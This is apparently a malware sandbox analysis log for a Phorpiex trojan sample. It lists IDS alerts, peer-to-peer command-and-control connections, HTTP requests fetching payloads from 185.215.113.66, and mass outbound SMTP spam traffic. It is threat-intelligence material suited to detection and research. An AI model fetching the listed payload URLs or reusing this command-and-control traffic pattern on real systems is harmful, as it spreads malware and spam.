Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 37.255.208.54:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 95.107.115.200:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 89.249.62.7:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 185.211.130.122:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 151.235.247.191:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 105.102.5.223:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 89.165.113.210:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 2.178.18.90:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 82.137.244.124:40500
Source: Traffic	Snort IDS: 2045229 ET TROJAN Win32/Phorpiex Template 9 Active - Outbound Malicious Email Spam 192.168.2.8:50818 -> 64.29.145.48:25
Source: Traffic	Snort IDS: 2044126 ET TROJAN Win32/Phorpiex Template 8 Active - Outbound Malicious Email Spam 192.168.2.8:50818 -> 64.29.145.48:25
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 212.112.121.59:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 195.123.234.86:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 217.24.145.211:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 2.189.227.52:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 178.130.116.212:40500

Contains functionality to determine the online IP of the system

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Code function: 9_2_002E17D0 InternetOpenA,InternetOpenUrlA,InternetReadFile,wsprintfA,wsprintfA,InternetCloseHandle,wsprintfA,InternetCloseHandle, http://icanhazip.com/		9_2_002E17D0
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Code function: 10_2_00C717D0 InternetOpenA,InternetOpenUrlA,InternetReadFile,wsprintfA,wsprintfA,InternetCloseHandle,wsprintfA,InternetCloseHandle, http://icanhazip.com/		10_2_00C717D0

May check the online IP address of the machine

Source: unknown	DNS query: name: icanhazip.com
Source: unknown	DNS query: name: icanhazip.com

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: cngglobalservices.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: amarumendez.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dklicsinfo.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: successtracs.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: prominent-personnel.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mxa-00010e01.gslb.pphosted.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: enzoenergyservices.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cu-portland.edu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: drcla.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: truserv.ca replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: pneusgriff.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: glassrooms.ca replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: cpr.ca replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: buzybodymovement.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lits-global.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: quantofinancial.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: everythinginkonline.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: grindsdirect.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftccomputers.com replaycode: Name error (3)

Contains functionality to check if Internet connection is working

Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_00409540 htons,socket,connect,getsockname, www.update.microsoft.com	0_2_00409540
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_00409540 htons,socket,connect,getsockname, www.update.microsoft.com	2_2_00409540
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_00409540 htons,socket,connect,getsockname, www.update.microsoft.com	8_2_00409540

Source: Joe Sandbox View

IP Address: 213.120.69.2 213.120.69.2

Source: unknown

Network traffic detected: DNS query count 1076

Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: icanhazip.com
Source: global traffic	HTTP traffic detected: GET /from/n.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /from/83.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: icanhazip.comCookie: __cf_bm=O8ZE0u5Ic0dcq500U34ZUpZeoSloUUBVcoxE3J7_4Uk-1692896595-0-AeMANFRvIOav/0iu3UEPxkAMjrdn05vo57tX4IuUAFZojcE7BIv678xHL0tFSgt9OgUetaCtu5KnIdHBLh8+JMo=
Source: global traffic	HTTP traffic detected: GET /ca/n.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /ca/133.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /ca/133.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66If-Modified-Since: Thu, 24 Aug 2023 11:32:17 GMTIf-None-Match: "64e73fc1-4b00"
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66If-Modified-Since: Thu, 24 Aug 2023 11:32:17 GMTIf-None-Match: "64e73fc1-4b00"
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66

Source: global traffic	TCP traffic: 192.168.2.8:49767 -> 100.91.108.68:40500
Source: global traffic	TCP traffic: 192.168.2.8:50022 -> 213.230.111.166:40500
Source: global traffic	TCP traffic: 192.168.2.8:50551 -> 2.185.68.181:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 78.39.233.239:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 2.184.54.70:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 77.221.29.235:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 89.249.62.233:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 37.255.208.54:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 2.187.139.122:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 95.107.115.200:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 89.249.62.7:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 185.211.130.122:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 151.235.247.191:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 105.102.5.223:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 46.100.159.188:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 89.165.113.210:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 2.178.18.90:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 82.137.244.124:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 212.112.121.59:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 195.123.234.86:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 89.104.102.117:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 217.24.145.211:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 2.189.227.52:40500
Source: global traffic	UDP traffic: 192.168.2.8:62415 -> 178.130.116.212:40500

Source: unknown

Network traffic detected: IP country count 17

Source: global traffic	TCP traffic: 192.168.2.8:49773 -> 98.136.96.91:25
Source: global traffic	TCP traffic: 192.168.2.8:49778 -> 213.120.69.2:25
Source: global traffic	TCP traffic: 192.168.2.8:49779 -> 17.57.156.30:25
Source: global traffic	TCP traffic: 192.168.2.8:49781 -> 47.43.26.7:25
Source: global traffic	TCP traffic: 192.168.2.8:49782 -> 108.160.158.250:25
Source: global traffic	TCP traffic: 192.168.2.8:49783 -> 104.47.73.161:25
Source: global traffic	TCP traffic: 192.168.2.8:49785 -> 144.160.235.143:25
Source: global traffic	TCP traffic: 192.168.2.8:49786 -> 64.136.52.37:25
Source: global traffic	TCP traffic: 192.168.2.8:49791 -> 173.203.187.1:25
Source: global traffic	TCP traffic: 192.168.2.8:49797 -> 67.231.158.134:25
Source: global traffic	TCP traffic: 192.168.2.8:49798 -> 108.177.126.27:25
Source: global traffic	TCP traffic: 192.168.2.8:49799 -> 67.195.204.75:25
Source: global traffic	TCP traffic: 192.168.2.8:49801 -> 104.47.59.161:25
Source: global traffic	TCP traffic: 192.168.2.8:49805 -> 142.250.150.27:25
Source: global traffic	TCP traffic: 192.168.2.8:49807 -> 44.235.224.67:25
Source: global traffic	TCP traffic: 192.168.2.8:49808 -> 144.160.159.22:25
Source: global traffic	TCP traffic: 192.168.2.8:49812 -> 66.133.129.79:25
Source: global traffic	TCP traffic: 192.168.2.8:49813 -> 144.160.235.144:25
Source: global traffic	TCP traffic: 192.168.2.8:49839 -> 34.212.80.54:25
Source: global traffic	TCP traffic: 192.168.2.8:49842 -> 211.249.219.37:25
Source: global traffic	TCP traffic: 192.168.2.8:49845 -> 74.208.5.20:25
Source: global traffic	TCP traffic: 192.168.2.8:49851 -> 34.192.198.103:25
Source: global traffic	TCP traffic: 192.168.2.8:49853 -> 173.194.202.26:25
Source: global traffic	TCP traffic: 192.168.2.8:49855 -> 80.109.253.242:25
Source: global traffic	TCP traffic: 192.168.2.8:49863 -> 47.43.18.9:25
Source: global traffic	TCP traffic: 192.168.2.8:49864 -> 38.111.141.152:25
Source: global traffic	TCP traffic: 192.168.2.8:49866 -> 44.237.12.42:25
Source: global traffic	TCP traffic: 192.168.2.8:49870 -> 64.98.38.4:25
Source: global traffic	TCP traffic: 192.168.2.8:49873 -> 52.101.42.13:25
Source: global traffic	TCP traffic: 192.168.2.8:49874 -> 3.96.81.40:25
Source: global traffic	TCP traffic: 192.168.2.8:49875 -> 104.47.51.33:25
Source: global traffic	TCP traffic: 192.168.2.8:49877 -> 216.239.133.242:25
Source: global traffic	TCP traffic: 192.168.2.8:49879 -> 74.125.200.27:25
Source: global traffic	TCP traffic: 192.168.2.8:49883 -> 129.159.122.98:25
Source: global traffic	TCP traffic: 192.168.2.8:49884 -> 64.35.208.175:25
Source: global traffic	TCP traffic: 192.168.2.8:49886 -> 142.250.157.26:25
Source: global traffic	TCP traffic: 192.168.2.8:49887 -> 142.246.255.253:25
Source: global traffic	TCP traffic: 192.168.2.8:49889 -> 67.195.228.106:25
Source: global traffic	TCP traffic: 192.168.2.8:49892 -> 43.225.108.107:25
Source: global traffic	TCP traffic: 192.168.2.8:49900 -> 67.231.156.49:25
Source: global traffic	TCP traffic: 192.168.2.8:49904 -> 67.231.158.200:25
Source: global traffic	TCP traffic: 192.168.2.8:49909 -> 194.153.110.15:25
Source: global traffic	TCP traffic: 192.168.2.8:49911 -> 104.47.66.10:25
Source: global traffic	TCP traffic: 192.168.2.8:49915 -> 106.10.248.73:25
Source: global traffic	TCP traffic: 192.168.2.8:49917 -> 129.158.33.68:25
Source: global traffic	TCP traffic: 192.168.2.8:49918 -> 104.47.75.164:25
Source: global traffic	TCP traffic: 192.168.2.8:49928 -> 67.231.150.88:25
Source: global traffic	TCP traffic: 192.168.2.8:49932 -> 209.71.212.24:25
Source: global traffic	TCP traffic: 192.168.2.8:49933 -> 23.90.119.252:25
Source: global traffic	TCP traffic: 192.168.2.8:49934 -> 62.24.139.42:25
Source: global traffic	TCP traffic: 192.168.2.8:49935 -> 104.47.55.110:25
Source: global traffic	TCP traffic: 192.168.2.8:49938 -> 198.252.106.192:25
Source: global traffic	TCP traffic: 192.168.2.8:49940 -> 67.231.158.130:25
Source: global traffic	TCP traffic: 192.168.2.8:49943 -> 193.122.187.19:25
Source: global traffic	TCP traffic: 192.168.2.8:49945 -> 104.47.17.74:25
Source: global traffic	TCP traffic: 192.168.2.8:49946 -> 104.47.64.110:25
Source: global traffic	TCP traffic: 192.168.2.8:49949 -> 205.193.122.69:25
Source: global traffic	TCP traffic: 192.168.2.8:49952 -> 104.47.73.10:25
Source: global traffic	TCP traffic: 192.168.2.8:49953 -> 51.81.61.70:25
Source: global traffic	TCP traffic: 192.168.2.8:49954 -> 104.47.13.33:25
Source: global traffic	TCP traffic: 192.168.2.8:49958 -> 149.56.24.155:25
Source: global traffic	TCP traffic: 192.168.2.8:49963 -> 209.222.235.15:25
Source: global traffic	TCP traffic: 192.168.2.8:49966 -> 104.47.75.228:25
Source: global traffic	TCP traffic: 192.168.2.8:49967 -> 65.20.63.100:25
Source: global traffic	TCP traffic: 192.168.2.8:49971 -> 104.47.55.138:25
Source: global traffic	TCP traffic: 192.168.2.8:49978 -> 130.179.21.18:25
Source: global traffic	TCP traffic: 192.168.2.8:49979 -> 67.195.204.82:25
Source: global traffic	TCP traffic: 192.168.2.8:49981 -> 209.71.208.7:25
Source: global traffic	TCP traffic: 192.168.2.8:49982 -> 216.108.160.2:25
Source: global traffic	TCP traffic: 192.168.2.8:49987 -> 213.171.216.40:25
Source: global traffic	TCP traffic: 192.168.2.8:49988 -> 54.88.152.217:25
Source: global traffic	TCP traffic: 192.168.2.8:49989 -> 104.47.70.33:25
Source: global traffic	TCP traffic: 192.168.2.8:49992 -> 199.58.116.87:25
Source: global traffic	TCP traffic: 192.168.2.8:49994 -> 216.71.132.58:25
Source: global traffic	TCP traffic: 192.168.2.8:49997 -> 34.218.149.231:25
Source: global traffic	TCP traffic: 192.168.2.8:50000 -> 80.12.126.182:25
Source: global traffic	TCP traffic: 192.168.2.8:50002 -> 150.136.204.204:25
Source: global traffic	TCP traffic: 192.168.2.8:50004 -> 68.232.143.80:25
Source: global traffic	TCP traffic: 192.168.2.8:50006 -> 34.149.79.66:25
Source: global traffic	TCP traffic: 192.168.2.8:50008 -> 216.71.134.52:25
Source: global traffic	TCP traffic: 192.168.2.8:50017 -> 67.231.151.88:25
Source: global traffic	TCP traffic: 192.168.2.8:50021 -> 74.208.5.21:25
Source: global traffic	TCP traffic: 192.168.2.8:50025 -> 67.231.150.41:25
Source: global traffic	TCP traffic: 192.168.2.8:50026 -> 72.38.65.185:25
Source: global traffic	TCP traffic: 192.168.2.8:50027 -> 209.222.82.253:25
Source: global traffic	TCP traffic: 192.168.2.8:50028 -> 67.231.154.162:25
Source: global traffic	TCP traffic: 192.168.2.8:50034 -> 104.47.51.202:25
Source: global traffic	TCP traffic: 192.168.2.8:50035 -> 43.154.252.231:25
Source: global traffic	TCP traffic: 192.168.2.8:50041 -> 188.125.72.74:25
Source: global traffic	TCP traffic: 192.168.2.8:50044 -> 205.139.110.242:25
Source: global traffic	TCP traffic: 192.168.2.8:50049 -> 104.47.11.10:25
Source: global traffic	TCP traffic: 192.168.2.8:50051 -> 52.101.73.12:25
Source: global traffic	TCP traffic: 192.168.2.8:50056 -> 108.178.59.182:25
Source: global traffic	TCP traffic: 192.168.2.8:50060 -> 148.163.157.43:25
Source: global traffic	TCP traffic: 192.168.2.8:50072 -> 205.220.163.7:25
Source: global traffic	TCP traffic: 192.168.2.8:50075 -> 209.222.82.252:25
Source: global traffic	TCP traffic: 192.168.2.8:50078 -> 104.47.51.138:25
Source: global traffic	TCP traffic: 192.168.2.8:50082 -> 104.47.70.110:25
Source: global traffic	TCP traffic: 192.168.2.8:50084 -> 216.71.132.28:25
Source: global traffic	TCP traffic: 192.168.2.8:50090 -> 205.220.166.231:25
Source: global traffic	TCP traffic: 192.168.2.8:50091 -> 24.201.245.37:25
Source: global traffic	TCP traffic: 192.168.2.8:50094 -> 142.238.252.73:25
Source: global traffic	TCP traffic: 192.168.2.8:50105 -> 148.163.129.51:25
Source: global traffic	TCP traffic: 192.168.2.8:50107 -> 154.52.5.132:25
Source: global traffic	TCP traffic: 192.168.2.8:50108 -> 184.106.54.1:25
Source: global traffic	TCP traffic: 192.168.2.8:50112 -> 205.220.178.227:25
Source: global traffic	TCP traffic: 192.168.2.8:50117 -> 167.114.44.2:25
Source: global traffic	TCP traffic: 192.168.2.8:50130 -> 68.232.131.254:25
Source: global traffic	TCP traffic: 192.168.2.8:50132 -> 67.195.204.77:25
Source: global traffic	TCP traffic: 192.168.2.8:50140 -> 52.207.128.88:25
Source: global traffic	TCP traffic: 192.168.2.8:50150 -> 170.10.144.242:25
Source: global traffic	TCP traffic: 192.168.2.8:50154 -> 52.101.11.3:25
Source: global traffic	TCP traffic: 192.168.2.8:50156 -> 64.251.188.9:25
Source: global traffic	TCP traffic: 192.168.2.8:50157 -> 198.208.69.107:25
Source: global traffic	TCP traffic: 192.168.2.8:50165 -> 148.163.145.87:25
Source: global traffic	TCP traffic: 192.168.2.8:50166 -> 24.222.0.18:25
Source: global traffic	TCP traffic: 192.168.2.8:50170 -> 206.219.199.110:25
Source: global traffic	TCP traffic: 192.168.2.8:50179 -> 67.212.93.71:25
Source: global traffic	TCP traffic: 192.168.2.8:50182 -> 135.148.130.75:25
Source: global traffic	TCP traffic: 192.168.2.8:50187 -> 66.23.225.225:25
Source: global traffic	TCP traffic: 192.168.2.8:50190 -> 129.159.105.98:25
Source: global traffic	TCP traffic: 192.168.2.8:50199 -> 69.49.101.234:25
Source: global traffic	TCP traffic: 192.168.2.8:50202 -> 96.102.157.178:25
Source: global traffic	TCP traffic: 192.168.2.8:50205 -> 67.231.151.8:25
Source: global traffic	TCP traffic: 192.168.2.8:50206 -> 148.163.150.20:25
Source: global traffic	TCP traffic: 192.168.2.8:50208 -> 8.19.118.174:25
Source: global traffic	TCP traffic: 192.168.2.8:50216 -> 104.47.12.33:25
Source: global traffic	TCP traffic: 192.168.2.8:50219 -> 104.47.11.202:25
Source: global traffic	TCP traffic: 192.168.2.8:50220 -> 67.231.159.2:25
Source: global traffic	TCP traffic: 192.168.2.8:50226 -> 52.101.42.10:25
Source: global traffic	TCP traffic: 192.168.2.8:50230 -> 209.222.82.255:25
Source: global traffic	TCP traffic: 192.168.2.8:50231 -> 198.58.121.58:25
Source: global traffic	TCP traffic: 192.168.2.8:50232 -> 104.47.73.138:25
Source: global traffic	TCP traffic: 192.168.2.8:50239 -> 135.148.130.76:25
Source: global traffic	TCP traffic: 192.168.2.8:50241 -> 65.182.102.90:25
Source: global traffic	TCP traffic: 192.168.2.8:50244 -> 104.47.23.74:25
Source: global traffic	TCP traffic: 192.168.2.8:50245 -> 104.47.58.161:25
Source: global traffic	TCP traffic: 192.168.2.8:50249 -> 69.46.127.11:25
Source: global traffic	TCP traffic: 192.168.2.8:50255 -> 67.231.153.129:25
Source: global traffic	TCP traffic: 192.168.2.8:50259 -> 67.231.159.120:25
Source: global traffic	TCP traffic: 192.168.2.8:50263 -> 148.163.157.242:25
Source: global traffic	TCP traffic: 192.168.2.8:50265 -> 216.71.135.143:25
Source: global traffic	TCP traffic: 192.168.2.8:50271 -> 150.136.189.171:25
Source: global traffic	TCP traffic: 192.168.2.8:50279 -> 67.231.151.137:25
Source: global traffic	TCP traffic: 192.168.2.8:50280 -> 98.136.96.74:25
Source: global traffic	TCP traffic: 192.168.2.8:50286 -> 38.64.153.228:25
Source: global traffic	TCP traffic: 192.168.2.8:50289 -> 207.236.201.26:25
Source: global traffic	TCP traffic: 192.168.2.8:50290 -> 148.163.158.5:25
Source: global traffic	TCP traffic: 192.168.2.8:50292 -> 67.231.150.187:25
Source: global traffic	TCP traffic: 192.168.2.8:50297 -> 131.162.224.6:25
Source: global traffic	TCP traffic: 192.168.2.8:50298 -> 24.137.218.25:25
Source: global traffic	TCP traffic: 192.168.2.8:50300 -> 142.58.200.9:25
Source: global traffic	TCP traffic: 192.168.2.8:50304 -> 67.231.151.196:25
Source: global traffic	TCP traffic: 192.168.2.8:50306 -> 67.231.157.208:25
Source: global traffic	TCP traffic: 192.168.2.8:50308 -> 15.222.16.209:25
Source: global traffic	TCP traffic: 192.168.2.8:50315 -> 52.71.57.184:25
Source: global traffic	TCP traffic: 192.168.2.8:50317 -> 211.248.98.39:25
Source: global traffic	TCP traffic: 192.168.2.8:50322 -> 209.193.72.53:25
Source: global traffic	TCP traffic: 192.168.2.8:50326 -> 67.231.150.28:25
Source: global traffic	TCP traffic: 192.168.2.8:50331 -> 128.1.42.104:25
Source: global traffic	TCP traffic: 192.168.2.8:50332 -> 67.231.151.50:25
Source: global traffic	TCP traffic: 192.168.2.8:50334 -> 195.176.194.32:25
Source: global traffic	TCP traffic: 192.168.2.8:50342 -> 213.120.69.5:25
Source: global traffic	TCP traffic: 192.168.2.8:50343 -> 138.197.213.185:25
Source: global traffic	TCP traffic: 192.168.2.8:50350 -> 194.104.110.22:25
Source: global traffic	TCP traffic: 192.168.2.8:50352 -> 104.47.59.138:25
Source: global traffic	TCP traffic: 192.168.2.8:50354 -> 74.125.200.26:25
Source: global traffic	TCP traffic: 192.168.2.8:50356 -> 85.115.52.190:25
Source: global traffic	TCP traffic: 192.168.2.8:50359 -> 209.250.128.50:25
Source: global traffic	TCP traffic: 192.168.2.8:50361 -> 184.106.54.2:25
Source: global traffic	TCP traffic: 192.168.2.8:50370 -> 69.49.101.235:25
Source: global traffic	TCP traffic: 192.168.2.8:50381 -> 216.71.153.91:25
Source: global traffic	TCP traffic: 192.168.2.8:50383 -> 204.174.64.46:25
Source: global traffic	TCP traffic: 192.168.2.8:50392 -> 216.71.131.24:25
